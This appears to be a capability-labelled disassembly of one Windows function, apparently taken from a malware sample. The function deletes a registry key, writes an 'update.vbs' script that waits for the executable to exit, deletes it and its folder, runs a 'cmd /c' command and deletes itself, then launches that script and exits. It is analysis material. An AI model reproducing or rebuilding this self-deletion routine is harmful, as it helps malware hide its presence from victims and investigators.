Function at 0x408255
Capabilities:
Create process on windows
Delete registry key
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2bc
push ebx
push esi
mov esi, 0x466ed8
push edi
mov ecx, esi
call fcn.00402010
push eax
mov ecx, esi
call fcn.00402018
push eax
mov esi, 0x208
lea eax, [ebp - 0x2b8]
push esi
push eax
mov ebx, 0x466e90
push str.exepath
mov ecx, ebx
call fcn.00402018
mov edx, eax
call fcn.0040c60c
add esp, 0x14
xor edi, edi
test al, al
jne 0x4082b3
push esi
lea eax, [ebp - 0x2b8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, ebx
call fcn.00402018
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x2b8]
push 0x80
push eax
mov byte [ebp - 1], 1
call esi
mov ebx, eax
mov edx, 0x4585e8
neg ebx
mov ecx, 0x466ea8
sbb bl, bl
and bl, byte [ebp - 1]
call fcn.00406232
test al, al
je 0x40830c
push 0x80
mov ecx, 0x466ea8
call fcn.00404386
push eax
call esi
push str.update.vbs
push 0x4589e0
call fcn.00430f52
pop ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.004034f9
mov edx, eax
lea ecx, [ebp - 0x7c]
call fcn.004074d1
pop ecx
lea ecx, [ebp - 0x34]
call fcn.004034ef
push str.Set_fso__CreateObject__Scripting.FileSystemObject___n
lea ecx, [ebp - 0x34]
call fcn.004034f9
push eax
mov edx, str.On_Error_Resume_Next_n
lea ecx, [ebp - 0x1c]
call fcn.00408a3c
pop ecx
lea ecx, [ebp - 0x34]
call fcn.004034ef
test bl, bl
je 0x4083af
push 0x458a88
lea eax, [ebp - 0x2b8]
push eax
lea ecx, [ebp - 0x64]
call fcn.004034f9
push eax
mov edx, str.while_fso.FileExists__
lea ecx, [ebp - 0x4c]
call fcn.00408a3c
pop ecx
mov edx, eax
lea ecx, [ebp - 0x34]
call fcn.004074d1
pop ecx
push eax
lea ecx, [ebp - 0x1c]
call fcn.00405c18
lea ecx, [ebp - 0x34]
call fcn.004034ef
lea ecx, [ebp - 0x4c]
call fcn.004034ef
lea ecx, [ebp - 0x64]
call fcn.004034ef
push 0x458ac0
lea eax, [ebp - 0x2b8]
push eax
push str.fso.DeleteFile__
lea ecx, [ebp - 0x34]
call fcn.004034f9
mov edx, eax
lea ecx, [ebp - 0x4c]
call fcn.004074d1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x64]
call fcn.004074d1
pop ecx
push eax
lea ecx, [ebp - 0x1c]
call fcn.00405c18
lea ecx, [ebp - 0x64]
call fcn.004034ef
lea ecx, [ebp - 0x4c]
call fcn.004034ef
lea ecx, [ebp - 0x34]
call fcn.004034ef
test bl, bl
je 0x408410
push str.wend_n
lea ecx, [ebp - 0x1c]
call fcn.00405c0f
mov ebx, 0x4585e8
mov esi, 0x466ea8
mov edx, ebx
mov ecx, esi
call fcn.00406232
test al, al
je 0x40845f
push 0x458ac0
push esi
mov edx, str.fso.DeleteFolder__
lea ecx, [ebp - 0x4c]
call fcn.00408a60
pop ecx
mov edx, eax
lea ecx, [ebp - 0x64]
call fcn.004074d1
pop ecx
push eax
lea ecx, [ebp - 0x1c]
call fcn.00405c18
lea ecx, [ebp - 0x64]
call fcn.004034ef
lea ecx, [ebp - 0x4c]
call fcn.004034ef
push 0x458b88
push 0x458b8c
lea ecx, [ebp - 0xac]
call fcn.004034f9
push eax
lea eax, [ebp + 8]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0x94]
call fcn.004034f9
mov edx, eax
lea ecx, [ebp - 0x34]
call fcn.00408a18
pop ecx
mov edx, eax
lea ecx, [ebp - 0x4c]
call fcn.004089a2
pop ecx
mov edx, eax
lea ecx, [ebp - 0x64]
call fcn.004074d1
pop ecx
push eax
lea ecx, [ebp - 0x1c]
call fcn.00405c18
lea ecx, [ebp - 0x64]
call fcn.004034ef
lea ecx, [ebp - 0x4c]
call fcn.004034ef
lea ecx, [ebp - 0x34]
call fcn.004034ef
lea ecx, [ebp - 0x94]
call fcn.004034ef
lea ecx, [ebp - 0xac]
call fcn.004034ef
push str.fso.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x1c]
call fcn.00405c0f
push ecx
lea ecx, [ebp - 0x7c]
call fcn.00404386
push eax
lea ecx, [ebp - 0x1c]
call fcn.00402010
mov esi, eax
lea ecx, [ebp - 0x1c]
add esi, esi
call fcn.00404386
mov edx, esi
mov ecx, eax
call fcn.004133aa
pop ecx
pop ecx
test al, al
je 0x40853f
push edi
push ebx
push ebx
lea ecx, [ebp - 0x7c]
call fcn.00404386
push eax
push 0x458578
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x40853f
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x1c]
call fcn.004034ef
lea ecx, [ebp - 0x7c]
call fcn.004034ef
lea ecx, [ebp + 8]
call fcn.004034ef
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret